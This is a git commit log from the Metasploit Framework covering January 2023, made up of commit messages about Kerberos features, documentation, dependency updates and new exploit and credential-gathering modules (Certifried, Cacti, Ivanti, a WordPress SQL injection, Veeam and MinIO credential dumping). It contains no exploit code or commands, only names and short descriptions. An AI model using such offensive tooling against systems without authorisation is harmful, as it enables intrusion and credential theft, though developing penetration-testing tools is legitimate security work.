bcoles 7cf37f5fb7 plugins: rubocop -A plugins 2023-01-30 13:05:34 +11:00
bcoles dd20bcac77 plugins: rubocop -a plugins 2023-01-30 12:25:46 +11:00
h00die-gr3y a2f4a27614 updated module and added documentation 2023-01-29 10:06:14 +00:00
h00die-gr3y bf10b29a84 first drop module 2023-01-29 07:47:22 +00:00
adfoster-r7 c68ab9b77f Add Metasploit prompt color highlighting to docs 2023-01-28 22:43:33 +00:00
Duarte Silva a7ae3c9389 Fixed AnyConnect IPC message format:
- Made an error in the original research where the TLV had a type
  and a index, when it only has a type and a modifier that makes
  it into a TV (Type and Value, no Length).
- A TV has its value where the Length would be on a TLV.
- Also added a note on the endieness being correct/working because
  endieness has no impact in the message being used to exploit the
  vulnerability.
2023-01-28 09:08:51 +00:00
bcoles e11aaa8027 modules/exploits/multi/local: Resolve Rubocop and msftidy_docs violations 2023-01-28 15:02:24 +11:00
Metasploit 1b20db8900 automatic module_metadata_base.json update 2023-01-27 14:39:53 -06:00
Grant Willcox be85aa253d Fix input and output buffers for some mislabeled functions 2023-01-27 14:09:45 -06:00
Jack Heysel c3e73b9b11 Land #17557, Fix the logon_time in the MS14-068 2023-01-27 15:08:49 -05:00
Christophe De La Fuente 85d5b041aa Add minimum build number check 2023-01-27 18:03:19 +01:00
Grant Willcox 1782ae1ff2 Fix up links within Wiki site to make them relative links where possible 2023-01-27 10:09:02 -06:00
Grant Willcox 6043d0ffba Update all links from Wiki site to new docs site. 2023-01-27 09:58:53 -06:00
Grant Willcox 6111852df8 Land #17504, add 'favorite -l' and 'favorites' as aliases for show favorites 2023-01-27 09:37:06 -06:00
adfoster-r7 c681358f88 Land #17558, Fixes analyze command crashing with a winrm session opened 2023-01-27 15:35:40 +00:00
Spencer McIntyre 647cf1d402 Return Time from #extract_logon_time 2023-01-27 10:05:02 -05:00
Metasploit 8d4d48e005 automatic module_metadata_base.json update 2023-01-27 08:14:45 -06:00
dwelch-r7 4c54fffaed Land #17560, Present unsupported ul_types in a clearer way to the user 2023-01-27 13:50:55 +00:00
adfoster-r7 020e221c42 Present unsupported ul_types in a clearer way to the user 2023-01-27 13:40:33 +00:00
cgranleese-r7 1d8c9d3690 Fixes analyze command crashing with a winrm session opened 2023-01-27 10:45:05 +00:00
Spencer McIntyre f4976a0f9f Fix the logon_time in the MS14-068 exploit 2023-01-26 16:16:55 -05:00
Christophe De La Fuente e01239cf7b Add exploit module and documentation 2023-01-26 21:53:14 +01:00
Metasploit d80a18a00c Bump version of framework to 6.3.1 2023-01-26 13:40:05 -06:00
Jeffrey Martin dc6c1e333b Land #17553, Framework 6.3.0 2023-01-26 13:30:27 -06:00
Jeffrey Martin bdb0cadc4f Land #17291, Add support for rails 7 2023-01-26 11:50:29 -06:00
adfoster-r7 672fb9ce9f Land #17460, add support for feature kerberos authentication 2023-01-26 17:47:27 +00:00
Christophe De La Fuente ed2dd2fc0c Add randomization in the XML when possible & fix BadChars issue 2023-01-26 18:42:09 +01:00
adfoster-r7 ab60df7cda Land #17519, improve SMTP delivery error handling 2023-01-26 17:02:02 +00:00
dwelch-r7 4254276c26 Land #17531, Change kerberos option name namespacing convention to :: 2023-01-26 16:29:11 +00:00
Spencer McIntyre 1b34e5923f Land #17551, Fix issue on nil kerberos username
Fix force encoding issue on nil kerberos username
2023-01-26 11:23:05 -05:00
adfoster-r7 2d30909a2f Change option name namespacing convention 2023-01-26 16:17:50 +00:00
adfoster-r7 d90398d217 Land #17549, Catch Encryption Errors In inspect_ticket 2023-01-26 16:15:21 +00:00
cgranleese-r7 fb79a5f9d2 Land #17547, Remove KRB5CCNAME env var on bootup 2023-01-26 16:11:03 +00:00
Grant Willcox 87b9152314 Continue fixing versions of Ruby in YAML files not being properly quoted like they should be. 2023-01-26 09:49:08 -06:00
Spencer McIntyre fc0324f28b Consistently print keys without \x 2023-01-26 10:49:05 -05:00
adfoster-r7 a2aef99bb2 Fix force encoding issue on nil kerberos username 2023-01-26 15:25:49 +00:00
adfoster-r7 9e218116c0 Land #17543, update docs build to support relative links that start with ./ 2023-01-26 15:23:45 +00:00
Jeffrey Martin b295429fc9 latest metasploit-credential gem 2023-01-26 09:22:56 -06:00
Christophe De La Fuente 2be22752be Add Linuc specifics and documentation 2023-01-26 16:16:00 +01:00
Jeffrey Martin 7d221af4a0 Land #17546, deprecation warning for secrets dump 2023-01-26 08:28:22 -06:00
Spencer McIntyre 2da5d8ea43 Catch exceptions in inspect_ticket 2023-01-26 09:21:55 -05:00
adfoster-r7 992883b1a6 Remove KRB5CCNAME env on bootup 2023-01-26 12:09:55 +00:00
adfoster-r7 d5781ed021 Land #17532, Fix bad DN discovery code and fix bug with querying schema data 2023-01-26 10:43:13 +00:00
adfoster-r7 25ba3304ab Fix rails 7 deprecation warning for secrets dump module 2023-01-26 10:22:28 +00:00
dwelch-r7 2a73ac01e0 Land #17544, Fix ticket cache client metadata 2023-01-25 21:58:36 +00:00
Grant Willcox 71aa4bdace Update ldap_query with find_schema_dn function to find the schema DN which may not be the same as the base DN so we can query security attributes of entries 2023-01-25 15:19:29 -06:00
adfoster-r7 086e2f1b05 FIx ticket cache client metadata 2023-01-25 20:17:51 +00:00
Grant Willcox 3acae04042 Fix up relative path linking with paths that start with a / or ./ so they can now properly link without ambiguity cases. 2023-01-25 13:05:52 -06:00
Spencer McIntyre f81195d0cc Fix a typo 2023-01-25 13:45:18 -05:00
adfoster-r7 b9430da155 Land #17541, Fixes a crash when running smb_login with a blank domain 2023-01-25 18:42:32 +00:00
adfoster-r7 3d003ff14c Land #17540, Handle KDC_ERR_CERTIFICATE_MISMATCH for certifried 2023-01-25 18:39:20 +00:00
adfoster-r7 ea96629925 Bump Metasploit version to 6.3.0 2023-01-25 18:36:48 +00:00
Spencer McIntyre 427e354328 Land #17538, Fix smb login crash
Fix smb login crash with kerberos options set
2023-01-25 13:35:14 -05:00
dwelch-r7 e434b65d9d Land #17535, Add NTLM Hash Extraction via PKINIT to get_ticket 2023-01-25 18:34:18 +00:00
cgranleese-r7 cc0fbbc4e3 Fixes a bug were if realm was blank console would crash 2023-01-25 18:26:47 +00:00
Dean Welch 5b473e4ede Handle KDC_ERR_CERTIFICATE_MISMATCH for certifried 2023-01-25 18:22:54 +00:00
dwelch-r7 dc76f66649 Land #17539, Add additional kerberos error codes 2023-01-25 18:19:12 +00:00
adfoster-r7 eb59d08516 Add additional kerberos error codes 2023-01-25 18:08:07 +00:00
Spencer McIntyre 21f33296b7 Consolidate PKINIT hash extraction code 2023-01-25 12:16:42 -05:00
Spencer McIntyre dba1198a09 Fix a definition in krb5_pac.rb 2023-01-25 11:18:54 -05:00
dwelch-r7 4f574d141a Land #17533, Combine pkinit_login with get_ticket 2023-01-25 15:43:12 +00:00
Spencer McIntyre c7ba117fed Land #17534, Update kerberos cipher negotiattion
Update kerberos to negotiate rc4 if aes256 is disabled
2023-01-25 10:19:40 -05:00
Spencer McIntyre 44d8304beb Report the PKCS12 error message 2023-01-25 10:02:37 -05:00
adfoster-r7 d57c56e4a4 Land #17496, update klist to support deleting and deactivating by id 2023-01-25 14:53:05 +00:00
adfoster-r7 24a8582a7b Fix smb login crash with kerberos options set 2023-01-25 13:58:29 +00:00
Spencer McIntyre dbe9ee3a77 Update documentation 2023-01-25 08:39:52 -05:00
Spencer McIntyre a5e2c5b3b7 Unify pkinit_login with get_ticket 2023-01-25 08:36:26 -05:00
Spencer McIntyre 785e2caa9f Refactor #send_request_tgt_pkinit, clarify docs 2023-01-25 08:36:26 -05:00
Dean Welch c143124344 Add feature to set the status of ticket/ccache via klist 2023-01-25 13:28:43 +00:00
adfoster-r7 8d4b1ce3c1 Use the credential etype instead of the encrypted ticket etype 2023-01-25 13:20:50 +00:00
dwelch-r7 effbfe8f58 Land #17536, Update docs to support links with anchors 2023-01-25 12:43:37 +00:00
adfoster-r7 64339f9d4c Land #17537, improve rendered output of docs 2023-01-25 12:37:45 +00:00
adfoster-r7 4c50456b6a Update docs to support links with anchors 2023-01-25 12:16:15 +00:00
cgranleese-r7 930ae1a8c2 Makes adjustments to how docs are formatted to improve rendered output 2023-01-25 12:07:52 +00:00
adfoster-r7 d18beb486d Update kerberos to negotiate rc4 if aes256 is disabled 2023-01-25 00:27:00 +00:00
Spencer McIntyre 2b2e20bd78 Land #17399, Document ESC attack workflow in Wiki 2023-01-24 19:18:50 -05:00
Spencer McIntyre 944645f6d4 Land #17528, Add get user spns example docs
Add get user spns example to kerberoasting docs
2023-01-24 19:15:44 -05:00
Grant Willcox de27166dc9 Move location of the Attacking AD CS writeup and update navigation.rb accordingly 2023-01-24 16:57:14 -06:00
Grant Willcox 86f2af53c9 Remove extra section and try fix up the relative references for the document 2023-01-24 16:39:09 -06:00
Spencer McIntyre 8c1370085d Land #17530, Add conditions to forge_ticket module
Add conditions metadata to forge_ticket module
2023-01-24 09:12:41 -05:00
adfoster-r7 9babcf3564 Add conditions to forge ticket 2023-01-24 13:28:10 +00:00
adfoster-r7 e81bed0378 Land #17526, groups the show options command by their conditions 2023-01-24 13:21:17 +00:00
cgranleese-r7 854fc1400e Improve show options to include options with conditions 2023-01-24 10:43:14 +00:00
adfoster-r7 772ee93612 Add get user spns example to kerberoasting docs 2023-01-24 01:03:13 +00:00
Christophe De La Fuente 38f0d33d6b Add exploit module 2023-01-24 00:55:45 +01:00
Grant Willcox 4c4e6a5802 Fix up navigation issue again 2023-01-23 17:05:36 -06:00
Grant Willcox 05cc578fcd Correct navigation.rb 2023-01-23 14:34:41 -06:00
Grant Willcox 148e591a4e Add in overview about AD CS and what it is used for 2023-01-23 14:33:10 -06:00
Grant Willcox 3b357eed70 Move updated setup guide over to appropriate place and update some of the template with more details 2023-01-23 14:27:28 -06:00
Grant Willcox 5b2a7cc151 Update explanation to clarify ESC3 attacks and how to abuse them 2023-01-23 14:00:00 -06:00
Grant Willcox e73836d4c3 Rename files to appropriate names, fix up typos and add better setup points 2023-01-23 13:59:55 -06:00
Grant Willcox 43aca85d4d Add page on setting up an AD CS target to the navigation.rb file 2023-01-23 13:59:55 -06:00
Grant Willcox 71860a0ea8 Add in seperate page for setting up AD CS environment and also make explanation of ESC vulns clearer and higher up in document. 2023-01-23 13:59:54 -06:00
Grant Willcox 5df6d5d511 Fix navigation and some typos 2023-01-23 13:59:54 -06:00
Grant Willcox 1e8a289088 Add in initial commit of attacking ADCS ESC vulnerability documentation 2023-01-23 13:59:54 -06:00
Metasploit 8368accd55 automatic module_metadata_base.json update 2023-01-23 13:50:39 -06:00
space-r7 153af9fb68 Land #17407, add Cacti unauth command injection 2023-01-23 13:06:46 -06:00
Grant Willcox 5106d33ca4 Land #17518, Add the Python command adapter for Windows 2023-01-23 13:01:38 -06:00
bwatters d356b34422 Land #17499, Show extended error information for ICPR
Merge branch 'land-17499' into upstream-kerberos
2023-01-23 12:19:13 -06:00
space-r7 58cd5bb003 specify command stager flavors 2023-01-23 11:53:19 -06:00
Jeffrey Martin 90dc90cbab future proof legacy connection 2023-01-23 10:03:32 -06:00
Jeffrey Martin 58172267ac update to latest Rails 7 gem 2023-01-23 09:59:21 -06:00
Jeffrey Martin 6b64a15ab1 updated metasploit_data_models 2023-01-23 09:59:19 -06:00
Jeffrey Martin 1323889b65 update to released Rails 7 supported deps 2023-01-23 09:58:22 -06:00
Jeffrey Martin 5ce04e97e8 update Gemfile dev deps 2023-01-23 09:57:51 -06:00
Jeffrey Martin 149870d8a5 update Ruby version requirement 2023-01-23 09:57:16 -06:00
Jeffrey Martin f78592bf3f update db/schema.rb for Rails 7 2023-01-23 09:57:16 -06:00
Jeffrey Martin 177f1ec4d8 update that may need guards depending on execution 2023-01-23 09:57:15 -06:00
Jeffrey Martin d9716ebecf core updates for Rails 7 2023-01-23 09:57:09 -06:00
cgranleese-r7 bca40df16b Land #17524, Add additional documentation for mssql and ldap 2023-01-23 15:30:07 +00:00
Spencer McIntyre ed69cb19b2 Land #17520, Remove verbose info in LDAP output
Remove extra info from verbose mode of LDAP output
2023-01-23 09:30:36 -05:00
cgranleese-r7 af740aea85 Land #17515, Use shared helper for creating kerberos options 2023-01-23 13:37:00 +00:00
dwelch-r7 2f6e45af16 Land #17525, Fix deprecation warning in socks proxy 2023-01-23 12:55:04 +00:00
adfoster-r7 20408f4446 Fix deprecation warning in socks proxy 2023-01-23 12:05:57 +00:00
adfoster-r7 e119713c6f Add additional documentation for mssql and ldap 2023-01-23 11:46:51 +00:00
adfoster-r7 9a6c298a43 Use shared helper for creating kerberos options 2023-01-23 11:04:01 +00:00
adfoster-r7 414a54886c Land #17521, Fix up text so we capitalize all words of Metasploit Framework 2023-01-21 00:23:50 +00:00
Grant Willcox dcda0c2ebc Fix up text so we capitalize all words of Metasploit Framework 2023-01-20 17:05:20 -06:00
Grant Willcox 1975c92e92 Remove extra info from verbose mode of LDAP output 2023-01-20 16:51:34 -06:00
Spencer McIntyre 9d07f206fc Bump windows_error to 0.1.5 2023-01-20 16:29:24 -05:00
Spencer McIntyre 190249b993 Bump ruby_smb to 3.2.2 2023-01-20 16:29:24 -05:00
Spencer McIntyre a37cec40fc Show extended error information for ICPR 2023-01-20 16:29:18 -05:00
Grant Willcox cd5842e3f4 Land #17340, Warn On Ignoring Bind Information for Reverse Port Forwarding 2023-01-20 14:40:22 -06:00
Spencer McIntyre 81295e40fa Report the host that's returned from Meterpreter
Report the host that's returned from Meterpreter because that's the most
accurate source of the information.
2023-01-20 14:15:14 -06:00
Spencer McIntyre 729de2478c Warn that the remote host is ignored 2023-01-20 14:15:13 -06:00
Spencer McIntyre 17d8db43a9 Print IPv6 addresses correctly 2023-01-20 14:15:13 -06:00
Spencer McIntyre 7678e7c8ea Pass bind address for reverse port forwards 2023-01-20 14:15:13 -06:00
Spencer McIntyre 2621775053 Add the Python command adapter for Windows 2023-01-20 15:10:39 -05:00
Grant Willcox e537816132 Land #17516, Update metasploit-payloads gem to 2.0.108 2023-01-20 13:55:33 -06:00
Jeffrey Martin 9be26eb0ff improve SMTP delivery error handling 2023-01-20 11:26:25 -06:00
Spencer McIntyre 15237e5154 Update metasploit-payloads gem to 2.0.108
Includes changes from:
  * rapid7/metasploit-payloads#599
  * rapid7/metasploit-payloads#600
  * rapid7/metasploit-payloads#602
2023-01-20 09:21:28 -05:00
Spencer McIntyre 6fe0933c1e Add exploit for CVE-2022-44877 2023-01-20 09:04:24 -05:00
dwelch-r7 ebaf51108c Land #17490, Update impacket get user spns 2023-01-20 13:21:19 +00:00
Christophe De La Fuente 22f45c9a2e Land #17513, Update get ticket module to use aes_key and username convention 2023-01-20 12:44:23 +01:00
dwelch-r7 b2c20dfc51 Land #17514, Fix crash in winrm_script_exec when using Kerberos authentication 2023-01-20 11:21:24 +00:00
adfoster-r7 aaad9436f2 Fix winrm offered etypes 2023-01-20 10:59:25 +00:00
adfoster-r7 4c17b93ca8 Update get ticket module to use aes_key and username convention 2023-01-20 10:47:35 +00:00
Jack Heysel 6ac0d9ba27 Trailing whitespace corrected 2023-01-19 22:16:54 -05:00
Jack Heysel 0e0f62c002 Removed 22621 2023-01-19 14:47:20 -05:00
Jack Heysel 4da94325f3 Rubocop 2023-01-19 13:52:58 -05:00
Metasploit 3602a420d3 Bump version of framework to 6.2.37 2023-01-19 12:05:00 -06:00
Metasploit bca837413f automatic module_metadata_base.json update 2023-01-19 09:57:30 -06:00
Christophe De La Fuente 1e94adc3ab Land #17479, Wordpress paid membership pro unauthenticated sqli (CVE-2023-23488) 2023-01-19 15:36:00 +01:00
Jack Heysel d7215b84b4 Added offsets for W11 22H2 2023-01-19 09:30:28 -05:00
Spencer McIntyre 0e6ae486d1 Land #17501, Update AD CS spelling
Initial update of ADCS to be AD CS for appropriate spelling
2023-01-19 08:38:46 -05:00
ErikWynter 6419f2d5a5 add 'favorite -l' and 'favorites' as aliases for show favorites 2023-01-19 14:21:45 +02:00
Jack Heysel 63d9445911 Fix for Win Server 2022 and 2019 2023-01-19 00:52:38 -05:00
h00die 3a0b694790 better engrish 2023-01-18 20:12:49 -05:00
Grant Willcox 82fe7120d4 Update ADCS to be AD CS so we have appropriate spelling 2023-01-18 17:07:48 -06:00
bwatters b406699c86 Land #17497, Return if there is no certificate to process
Merge branch 'land-17497' into upstream-kerberos
2023-01-18 16:15:04 -06:00
h00die 642e6ee1cb review 2023-01-18 16:21:11 -05:00
h00die c823295915 cleanup better 2023-01-18 16:19:48 -05:00
Spencer McIntyre 9bf7617409 Return if there is no certificate to process 2023-01-18 15:05:54 -05:00
Spencer McIntyre ebfcfd4cb9 Land #17066, Add module for Certifried
Add exploit module for Certifried exploit
2023-01-18 14:51:03 -05:00
npm-cesium137-io 8ed4f59c60 veeam_credential_dump refinement
Fixed stupid typo in markdown.

Fixed a bug in the export code that prevented the disposition column
from being exported.
2023-01-18 14:27:28 -05:00
Christophe De La Fuente 64ddc6bb4c Land #17484, Add additional kerberos documentation 2023-01-18 19:40:28 +01:00
Christophe De La Fuente 2072111713 Fix from code review & some improvments
- Improve option validation
- Always request an impersonated TGS for `cifs/...` SPN
- SPN option now is used to request an additional TGS for another SPN
- Add exception handling for Kerberos errors
- Only remove the computer account if it has been created
2023-01-18 19:28:06 +01:00
Grant Willcox 524ab66d2c Land #17482, Update min protocol for https server for openssl3 2023-01-18 11:01:32 -06:00
adfoster-r7 77b0fcb2f5 Update min protocol for https server for openssl3 2023-01-18 10:59:26 -06:00
bwatters ed0ede0cad Land #17472, Always autocomplete options regardless of condition filtering
Merge branch 'land-17472' into upstream-kerberos
2023-01-18 10:59:16 -06:00
adfoster-r7 c55fcb6ca6 Add additional kerberos documentation 2023-01-18 16:58:34 +00:00
dwelch-r7 067126af44 Land #17493, Add additional datastore validation to forge ticket 2023-01-18 12:33:12 +00:00
adfoster-r7 a28666d3c5 Add additional datastore validation to forge ticket 2023-01-18 10:46:32 +00:00
Jack Heysel 2c2bfec4a0 Tested on Windows Build 19044, 19045 and 22000 2023-01-18 01:41:30 -05:00
Grant Willcox c0ddead75f Land #17480, Add payload exploit command 2023-01-17 17:52:32 -06:00
Spencer McIntyre 365b71d60f Land #17471, Update get_ticket cache logic
Update kerberos get_ticket cache logic
2023-01-17 18:49:08 -05:00
Grant Willcox b8bea10296 Land #17491, Fix LDAP Failure References 2023-01-17 17:22:10 -06:00
Metasploit 69464b3df2 automatic module_metadata_base.json update 2023-01-17 17:17:21 -06:00
bwatters 607dd9f081 Land #17348, New exploit for CVE-2022-46770 Mirage firewall DoS
Merge branch 'land-17348' into upstream-master
2023-01-17 16:52:38 -06:00
adfoster-r7 235888b77e Land #17492, Remove CI crash example from Docs 2023-01-17 22:47:10 +00:00
bwatters 470972b91d Land #17385, Return success code for writing and appending file in command shells 2023-01-17 16:37:06 -06:00
Spencer McIntyre d810267f8d Pull in Dean's changes from #17443 to fix LDAP failure references. 2023-01-17 16:31:08 -06:00
h00die d0abb5697b re-add license stuff 2023-01-17 17:31:01 -05:00
bwatters 0dbb0dc8c9 Fix margins for readability and delete file 2023-01-17 17:28:27 -05:00
bwatters d1f878c4f0 Fix spelling 2023-01-17 17:28:27 -05:00
bwatters 158c557d58 Update LICENSE file and location of source file 2023-01-17 17:28:22 -05:00
Grant Willcox 43d4a3ca7e Remove CI crash example since its unneeded and extra overhead to maintain 2023-01-17 16:04:46 -06:00
h00die e28ff3b160 minor fixes 2023-01-17 15:30:36 -05:00
h00die be7ca91a8f cve-2022-22942 2023-01-17 15:30:36 -05:00
adfoster-r7 7f62fa33f3 Update impacket get user spns 2023-01-17 19:53:42 +00:00
Metasploit 5dee00be0c automatic module_metadata_base.json update 2023-01-17 13:33:02 -06:00
Grant Willcox 3b1380b164 Land #17449, Ivanti Cloud Services Appliance unauthenticated cookie-based command injection [CVE-2021-44529] 2023-01-17 13:08:12 -06:00
Grant Willcox 7e23c34e6c Apply fixes per code review 2023-01-17 12:44:22 -06:00
h00die-gr3y 541dab9365 simplified messaging 2023-01-17 12:44:20 -06:00
h00die-gr3y da3ae22135 added documentation 2023-01-17 12:44:20 -06:00
h00die-gr3y 77687bff3f init module 2023-01-17 12:44:20 -06:00
adfoster-r7 d8cf034d70 Land #17488, Remove references to Travis CI 2023-01-17 17:20:44 +00:00
Grant Willcox aceb4c57c6 Remove references to Travis CI since we no longer use it and now use GitHub Actions 2023-01-17 10:28:21 -06:00
Metasploit c429113f5e automatic module_metadata_base.json update 2023-01-17 08:23:26 -06:00
Spencer McIntyre a10e313e26 Land #17343, unquoted service path tweaks 2023-01-17 08:59:37 -05:00
adfoster-r7 5ed2fe9ad2 Update kerberos get_ticket cache logic 2023-01-17 00:32:18 +00:00
Hamilton Tobon Mosquera d01060f40f docs: how to set complex options using quotes 2023-01-16 17:38:20 -05:00
Metasploit da22f18256 automatic module_metadata_base.json update 2023-01-16 14:17:56 -06:00
Christophe De La Fuente 0c8e83c34e Land #17451, Crack netntlm* 2023-01-16 20:52:53 +01:00
cgranleese-r7 202eb85066 Land #17470, Update kerberos login to support diacritics 2023-01-16 12:22:44 +00:00
adfoster-r7 5ef1f9f4f4 Update kerberos login to support diacritics 2023-01-16 12:08:54 +00:00
cgranleese-r7 7a2f6fef86 Land #17477, Merge 6.2.36 master into kerberos feature branch 2023-01-16 11:53:21 +00:00
adfoster-r7 b4797ba74f Land #17422, Add kerberoasting documentation 2023-01-16 10:30:20 +00:00
adfoster-r7 f637885f0a Land #17468, Fix error when printing ticket contents from a kirbi file format 2023-01-16 10:07:36 +00:00
adfoster-r7 5b3db9abc0 Update min protocol for https server for openssl3 2023-01-15 14:08:26 +00:00
h00die a28b203f73 payload exploit command 2023-01-15 05:38:15 -05:00
h00die 1888264d4d wordpress paid membership pro 2023-01-14 08:34:10 -05:00
h00die 0ac4d3d2e6 doc how to set permissions on service 2023-01-13 17:07:17 -05:00
Spencer McIntyre 3ddcf73c2b Remove the QUICK option altogether
Use blocks to check whether each service is exploitable as they are
enumerated. With this change, it is the service and path enumeration
halts once an exploitable one is found that yields a session.

Also all files are registered for cleanup.
2023-01-13 17:06:42 -05:00
h00die f98d1d838b unquoted service path tweaks to check 2023-01-13 17:06:42 -05:00
h00die 90a12cf3b0 unquoted service path tweaks 2023-01-13 17:06:42 -05:00
h00die a6ec7762ea unquoted service path tweaks 2023-01-13 17:06:42 -05:00
h00die c52eb09cbb unquoted service path tweaks 2023-01-13 17:06:42 -05:00
Dean Welch 1470396f95 Refactor key validation for inspect_ticket and add module tests 2023-01-13 17:42:32 +00:00
adfoster-r7 eddac9321c Merge 6.2.36 master into kerberos feature branch 2023-01-13 17:31:02 +00:00
cgranleese-r7 25550a4ef0 Land #17475, Enable new datastore implementation by default 2023-01-13 16:40:58 +00:00
cgranleese-r7 436e1489c7 Land #17473, Add edit link to docs website 2023-01-13 16:38:07 +00:00
Christophe De La Fuente 3d22fbcad9 Add exploit module for Certifried exploit
- Move all the logic from `modules/auxiliary/admin/dcerpc/icpr_cert.rb`
  to `lib/msf/core/exploit/remote/ms_icpr.rb` library
- Move all the logic from `modules/auxiliary/admin/dcerpc/samr_computer.rb`
  to `lib/msf/core/exploit/remote/ms_samr.rb` library
- Add `modules/auxiliary/admin/dcerpc/cve_2022_26923_certifried.rb` module
- Update the SMB client to disable SSL by default
- Add documentation
- Kerbero client: pass `options` as argument to `send_request_as`
- `calculate_shared_key` returns an EncryptionKey instead of the raw key
- Update `pkinit_login` module to make it compatible
- Add support to `additional_tickets` when requesting tickets
- Add support to PAC CredentialInfo structures
- Add impersonation to escalate privileges
- Add ACTIONS
- Use elevated TGS to delete the computer account
- Update and add specs
2023-01-13 15:30:50 +01:00
adfoster-r7 e3cd004003 Add edit link to docs website 2023-01-13 14:01:40 +00:00
adfoster-r7 19d2e985ef Enable new datastore implementation by default 2023-01-13 13:51:56 +00:00
adfoster-r7 a36882aee3 Always autocomplete options regardless of condition filtering 2023-01-13 13:11:32 +00:00
ErikWynter 8472efed02 fix typos, add reference, don't use methods to wrap datastore options 2023-01-13 14:53:29 +02:00
Dean Welch 75153aded3 Fix missing method error when printing ticket contents from a kirbi file format 2023-01-13 10:19:07 +00:00
Metasploit c4d9206d9c automatic module_metadata_base.json update 2023-01-12 12:41:33 -06:00
Spencer McIntyre 551990a945 Land #17466, report smb version information
fix #16394: SMB_Version Module does not report SMB Version into Notes
2023-01-12 13:16:05 -05:00
Metasploit 80016b2d22 Bump version of framework to 6.2.36 2023-01-12 12:10:45 -06:00
Metasploit 953621860a automatic module_metadata_base.json update 2023-01-12 09:36:26 -06:00
Christophe De La Fuente 29968fb76e Land #17337, Gather Dbeaver Password 2023-01-12 16:06:00 +01:00
cgranleese-r7 9c2b8138a7 Land #17456, Make the Kerberos Encryption Type Configurable 2023-01-12 13:25:48 +00:00
adfoster-r7 0669ee1f72 Land #17395, Adds docs for RPC workflows to docs site 2023-01-12 12:50:55 +00:00
cgranleese-r7 e81b08563e Add additional metasploit rpc documentation 2023-01-12 11:21:41 +00:00
Jack Heysel 145589f7a2 Add GetPteBaseW10 2023-01-12 01:15:23 -05:00
Wrathdemon becf613022 fix #16394: SMB_Version Module does not report SMB Version into Notes 2023-01-12 09:29:53 +05:30
三米前有蕉皮 0b2cf18197 Merge pull request #1 from cdelafuente-r7/dbeaver_gather_cred_fixes
Fix exception handler logic and small improvements
2023-01-12 07:38:09 +08:00
adfoster-r7 a484350fdf Land #17455, Fix Chunked Kerberos Responses 2023-01-11 22:09:06 +00:00
Spencer McIntyre 2f145769da Actually, offered_etypes needs to be an array 2023-01-11 17:08:27 -05:00
Hamilton Tobon Mosquera fd7fbb76af fix: cmd_run: remove unnecessary map
Removing the call to .map over args[:datastore_options] avoids an unnecessary call to Msf::DataStore#import_options_from_s. args[:datastore_options] is already a hash, converting it to string and using Msf::DataStore#import_options_from_s converts it back to hash, which is not necessary. The Msf::Simple::Module mixin already offers support for Options, which is expected to be a hash.

This change also prevents sending corner case option strings to Msf::DataStore#import_options_from_s when using post modules, which does not support strings like: "COMMAND='date --date=2023-01-01'".
2023-01-11 16:54:13 -05:00
Hamilton Tobon Mosquera 03acb7e9f2 test: added rspec tests for 6074d1a4d3 2023-01-11 15:46:55 -05:00
Christophe De La Fuente f9b1c17c39 Fix exception handler logic and small improvements 2023-01-11 20:00:09 +01:00
Spencer McIntyre a4a5162b92 Remove the etype option in favor of offered_etypes 2023-01-11 10:17:52 -05:00
Metasploit 61ffb90954 automatic module_metadata_base.json update 2023-01-11 09:01:02 -06:00
Christophe De La Fuente ada6e73af6 Land #17341, MinIO_Client Post Exploitation Credential Gatherer 2023-01-11 15:36:23 +01:00
Christophe De La Fuente 43051a2811 Add missing curly bracket 2023-01-11 14:30:23 +01:00
cn-kali-team 6738ca2c43 Support multiple platforms 2023-01-11 18:04:29 +08:00
adfoster-r7 6f7d7bcd1c Land #17394, Add ticket converter docs 2023-01-11 02:11:59 +00:00
三米前有蕉皮 ce83086c00 Update modules/post/multi/gather/minio_client.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-01-11 09:31:42 +08:00
三米前有蕉皮 633d807dbc Update modules/post/multi/gather/minio_client.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-01-11 09:29:13 +08:00
三米前有蕉皮 e00a86b6d6 Update modules/post/multi/gather/minio_client.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-01-11 09:28:26 +08:00
三米前有蕉皮 3dd794a97f Update modules/post/multi/gather/minio_client.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-01-11 09:27:48 +08:00
三米前有蕉皮 8b6387867d Update modules/post/multi/gather/minio_client.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-01-11 09:27:08 +08:00
adfoster-r7 760f5198ac Add additional metasploit rpc documentation 2023-01-10 20:43:11 +00:00
Grant Willcox 87b1f3b602 Land #17386, Ignore Content-Length header for the purpose of HEAD requests 2023-01-10 11:00:59 -06:00
Jeffrey Martin a0738aaa02 Land #17447, Bump up pry related gems post 2.6 2023-01-10 10:40:32 -06:00
Grant Willcox 8b102afd71 Rubocop fixes and some documentation additions 2023-01-10 10:07:51 -06:00
Jack Heysel a61ecd6e40 Moved to wiki, added hashcat tutorial 2023-01-10 10:57:28 -05:00
cgranleese-r7 281020379c Adds docs for RPC workflows to docs site 2023-01-10 10:31:24 +00:00
cn-kali-team 6ef38e305f Support multiple platforms 2023-01-10 15:01:55 +08:00
三米前有蕉皮 5845c7cb1f Update modules/post/windows/gather/credentials/minio_client.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-01-10 09:22:50 +08:00
三米前有蕉皮 ba5b100fe5 Update modules/post/windows/gather/credentials/minio_client.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-01-10 09:20:32 +08:00
三米前有蕉皮 a14af52146 Update documentation/modules/post/windows/gather/credentials/minio_client.md
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-01-10 09:19:58 +08:00
三米前有蕉皮 b72bfec033 Update documentation/modules/post/windows/gather/credentials/minio_client.md
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-01-10 09:17:40 +08:00
Ashley Donaldson f8b253dae1 Fix state machine for HEAD requests 2023-01-10 10:57:13 +11:00
Spencer McIntyre 138f3bb4b2 Make the encryption type configurable 2023-01-09 17:20:57 -05:00
Spencer McIntyre b7f6fe584a Add initial lib changes for configurable etypes 2023-01-09 16:43:42 -05:00
npm-cesium137-io 499d1ccfd7 Refactor veeam_credential_dump
